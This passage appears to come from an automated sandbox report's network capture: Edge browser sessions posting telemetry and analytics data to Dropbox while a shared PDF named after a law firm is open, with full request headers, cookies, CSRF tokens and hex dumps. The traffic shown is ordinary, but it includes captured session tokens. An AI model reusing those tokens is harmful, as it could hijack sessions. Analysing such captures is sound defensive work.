__Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:09 UTC	1869	OUT	Data Raw: 6e 61 76 69 67 61 74 69 6f 6e 5f 74 79 70 65 3d 6e 61 76 69 67 61 74 65 26 73 65 72 76 65 72 5f 72 65 71 75 65 73 74 5f 73 74 61 72 74 5f 74 69 6d 65 3d 31 37 33 34 36 31 32 32 37 33 26 65 78 74 72 61 5f 63 6f 6c 75 6d 6e 73 3d 25 37 42 25 32 32 6c 6f 67 5f 73 6f 75 72 63 65 25 32 32 25 33 41 25 32 32 6c 6f 61 64 5f 65 6e 64 25 32 32 25 32 43 25 32 32 73 75 62 74 79 70 65 73 25 32 32 25 33 41 25 32 32 25 37 42 25 35 43 25 32 32 6e 75 6d 50 72 65 66 65 74 63 68 65 73 52 65 71 75 65 73 74 65 64 41 66 74 65 72 44 6f 6e 65 53 74 72 65 61 6d 69 6e 67 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 31 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 6e 75 6d 50 72 65 66 65 74 63 68 65 73 52 65 71 75 65 73 74 65 64 42 65 66 6f 72 65 44 6f 6e 65 53 74 72 65 61 6d 69 6e Data Ascii: navigation_type=navigate&server_request_start_time=1734612273&extra_columns=%7B%22log_source%22%3A%22load_end%22%2C%22subtypes%22%3A%22%7B%5C%22numPrefetchesRequestedAfterDoneStreaming%5C%22%3A%5C%221%5C%22%2C%5C%22numPrefetchesRequestedBeforeDoneStreamin
2024-12-19 12:45:10 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 23 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:10 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 2 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: b436cf4f2afc48c2818e998f192e9370 Connection: close
2024-12-19 12:45:10 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49927	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:10 UTC	1609	OUT	POST /log_js_sw_data HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1215 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:10 UTC	1215	OUT	Data Raw: 72 65 71 75 65 73 74 5f 69 64 3d 64 32 33 63 62 62 31 38 38 30 66 38 34 66 38 35 61 66 65 66 63 31 30 34 34 33 30 33 38 62 65 61 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 25 32 46 73 63 6c 25 32 46 66 69 25 32 46 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 25 32 46 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 25 33 46 72 6c 6b 65 79 25 33 44 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 25 32 36 64 6c 25 33 44 31 26 61 67 67 72 65 67 61 74 65 64 5f 73 77 5f 64 61 74 61 3d 25 37 42 25 32 32 6d 61 65 73 74 72 6f 5f 74 72 61 63 69 6e 67 25 32 32 25 33 41 25 37 42 25 32 32 6d 61 72 6b 5f 74 69 6d 65 5f 74 6f 5f 69 6e 74 65 72 61 63 74 69 Data Ascii: request_id=d23cbb1880f84f85afefc10443038bea&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&aggregated_sw_data=%7B%22maestro_tracing%22%3A%7B%22mark_time_to_interacti
2024-12-19 12:45:11 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 18 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:10 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: dc4f3023bbe84a0aa347b160a900723d Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49933	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:11 UTC	1607	OUT	POST /log/telemetry HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 858 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:11 UTC	858	OUT	Data Raw: 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 31 26 62 61 74 63 68 65 73 3d 25 37 42 25 32 32 68 69 76 65 25 33 41 77 65 62 2d 74 69 6d 65 5f 74 6f 5f 66 69 72 73 74 5f 62 79 74 65 25 32 32 25 33 41 25 32 32 25 35 42 25 37 42 25 35 43 25 32 32 63 61 74 65 67 6f 72 79 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 77 65 62 2d 74 69 6d 65 5f 74 6f 5f 66 69 72 73 74 5f 62 79 74 65 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 75 73 65 72 5f 69 64 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 63 6f 75 6e 74 72 79 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 72 65 66 65 72 72 65 72 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 43 25 32 32 73 65 73 73 69 6f 6e 5f 69 64 25 35 43 25 32 32 25 33 41 6e 75 6c 6c 25 32 43 25 35 Data Ascii: data-version=1&batches=%7B%22hive%3Aweb-time_to_first_byte%22%3A%22%5B%7B%5C%22category%5C%22%3A%5C%22web-time_to_first_byte%5C%22%2C%5C%22user_id%5C%22%3Anull%2C%5C%22country%5C%22%3Anull%2C%5C%22referrer%5C%22%3Anull%2C%5C%22session_id%5C%22%3Anull%2C%5
2024-12-19 12:45:12 UTC	2780	IN	HTTP/1.1 204 No Content Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:11 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: f0644583e1fe4e0f9cb2aa027c082d1e Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49934	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:11 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1326 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKS7kHp4wLDaSe9pk Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:11 UTC	1326	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4b 53 37 6b 48 70 34 77 4c 44 61 53 65 39 70 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4b 53 37 6b 48 70 34 77 4c 44 61 53 65 39 70 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4b 53 37 6b 48 70 34 77 4c 44 61 53 65 39 70 6b 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundaryKS7kHp4wLDaSe9pkContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundaryKS7kHp4wLDaSe9pkContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundaryKS7kHp4wLDaSe9pkCont
2024-12-19 12:45:12 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 18 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:12 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 33e7fc700a364d69808a640116062e56 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49935	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:11 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1162 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoEG3a5mjat0xY5qq Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:11 UTC	1162	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6f 45 47 33 61 35 6d 6a 61 74 30 78 59 35 71 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6f 45 47 33 61 35 6d 6a 61 74 30 78 59 35 71 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6f 45 47 33 61 35 6d 6a 61 74 30 78 59 35 71 71 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundaryoEG3a5mjat0xY5qqContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundaryoEG3a5mjat0xY5qqContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundaryoEG3a5mjat0xY5qqCont
2024-12-19 12:45:12 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 29 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:12 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 62d93e30dcdc4f5caf0a7021bab0df11 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49936	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:12 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1062 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUHwTpIl5AIiszsAm Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
